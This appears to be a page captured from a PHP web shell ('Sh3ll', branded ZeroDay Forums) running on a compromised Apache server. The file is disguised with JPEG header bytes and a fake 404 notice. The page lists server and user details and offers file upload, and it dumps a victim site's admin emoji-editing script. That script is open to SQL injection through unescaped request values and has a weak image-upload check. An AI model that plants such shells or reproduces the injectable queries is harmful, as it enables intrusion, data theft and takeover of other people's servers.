ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/emoji/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/emoji/post.php
<?php
global $func,$CORE,$DB;
$CORE->page_title = 'Update emoji';
$emoji_id = (isset($CORE->input['emoji_id']) && $CORE->input['emoji_id']>0) ? $CORE->input['emoji_id']: 0;
if($emoji_id>0) {
    $post = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji WHERE emoji_id='$emoji_id' "));
}else{
    $post = $DB->get_colum_tb('tb_emoji');
    $post['emoji_img'] = '';
}
$txt_op_cat = '';
$q_cat = $DB->query("SELECT * FROM tb_emoji_cat ORDER BY emoji_cat_pos");
while($r_cat = $DB->fetch_row($q_cat)){
    $selected = '';
    if($r_cat['emoji_cat_id']==$post['emoji_cat_id']){
        $selected = 'selected';
    }
    $txt_op_cat .= '<option value="'.$r_cat['emoji_cat_id'].'" '.$selected.'>'.$r_cat['emoji_cat_name'].'</option>';
}
if(isset($CORE->input['submitbt'])){
    $emoji_id = $CORE->input['emoji_id']??0;
    $f = $CORE->input['f'];
    $emoji_fname = $func->format_string(trim($f['emoji_name']));
    $emoji_fname = str_replace('-','_',$emoji_fname);
    if($f['emoji_cat_id']>0){
        $row_cat = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji_cat WHERE emoji_cat_id='".$f['emoji_cat_id']."' "));
    }
    if(intval($emoji_id)==0){
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji WHERE emoji_fname='".$emoji_fname."' "));
        if(!$row_check){
            $arr_insert = array('emoji_cat_id'=>$f['emoji_cat_id'],'emoji_cat_name'=>$row_cat['emoji_cat_name'],'emoji_cat_fname'=>$row_cat['emoji_cat_fname'],'emoji_name'=>trim($f['emoji_name']),'emoji_fname'=>$emoji_fname,'emoji_pos'=>intval($f['emoji_pos']));
            $emoji_id = $DB->do_insert('tb_emoji',$arr_insert);
        }
    }else {
        $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji WHERE emoji_fname='".$emoji_fname."' AND emoji_id!='$emoji_id' "));
        if(!$row_check){
            $arr_update = array('emoji_cat_id'=>$f['emoji_cat_id'],'emoji_cat_name'=>$row_cat['emoji_cat_name'],'emoji_cat_fname'=>$row_cat['emoji_cat_fname'],'emoji_name'=>trim($f['emoji_name']),'emoji_fname'=>$emoji_fname,'emoji_pos'=>intval($f['emoji_pos']));
            $DB->do_update('tb_emoji',$arr_update," WHERE emoji_id='$emoji_id'");
        }
    }
    if($_FILES['image_field'] and $_FILES['image_field']['name']!=''){
        if(!exif_imagetype($_FILES['image_field']['tmp_name'])){
            exit('File must is image file');
        }
        $v_folder = "upload/emoji/".date('Y') . "/" . date('m');
        if (!is_dir($v_folder)) {
            mkdir($v_folder, 0755,true);
        }
        $v_image_folder = $v_folder.'/'.$emoji_id.'-emoji-'.time().'-'.basename($_FILES['image_field']['name']);
        if(move_uploaded_file($_FILES['image_field']['tmp_name'],$v_image_folder)){
            $row_check_img = $DB->fetch_row($DB->query("SELECT * FROM tb_emoji WHERE  emoji_id='$emoji_id' "));
            if($row_check_img['emoji_img']!='' and file_exists($row_check_img['emoji_img'])){
                unlink($row_check_img['emoji_img']);
            }
            $DB->query("UPDATE tb_emoji SET emoji_img='".$v_image_folder."' WHERE emoji_id='$emoji_id' ");
        }
    }
    close_popup('Updated');
    exit();
}
include 'include/block/header_popup.php';
?>
    <div class="card">
        <div class="card-header bg-success text-white">Update Emoji</div>
        <div class="card-body">
            <form action="" method="post" enctype="multipart/form-data" id="form_hoan_tra">
                <input type="hidden" value="<?php echo $emoji_id;?>" name="emoji_id">
                <div class="row">
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Position:</label>
                            <input type="text" name="f[emoji_pos]" value="<?php echo $post['emoji_pos'];?>" class="form-control" required>
                        </div>
                    </div>
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Emoji category:</label>
                            <select class="form-control" name="f[emoji_cat_id]" required>
                                <option value="">-----</option>
                                <?php echo $txt_op_cat;?>
                            </select>
                        </div>
                    </div>
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Emoji name:</label>
                            <input type="text" name="f[emoji_name]" value="<?php echo $post['emoji_name'];?>" class="form-control" required>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-sm-12">
                        <div class="form-group">
                            <label>Emoji image</label>
                            <input type="file" class="dropify form-control" name="image_field" data-default-file="<?php
                            if($post['emoji_img']!='' and file_exists($post['emoji_img'])){
                                echo $post['emoji_img'];
                            }
                            ?>" data-max-file-size="1M" data-allowed-file-extensions="png jpg gif webp" data-height="100">
                        </div>
                    </div>
                </div>
                <input type="submit" class="submit" style="display:none;" name="submitbt">
            </form>
        </div>
        <div class="card-footer">
            <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Submit</a>
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a>
        </div>
    </div>

    <script>
        $('.mydatepicker, #datepicker').datepicker({
            format: 'dd-mm-yyyy',
        });
        $('.gui_yeu_cau').click(function (){
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
        /*$('.reset_pass').click(function (){
            var user_id = $(this).attr('rel');
            $.ajax({url: "?act=admin&code=users&type=reset_pass&user_id="+user_id, success: function(result){
                    alert('Password changed!');
                    location.reload();
                }});

        });*/
    </script>
<?php
include 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini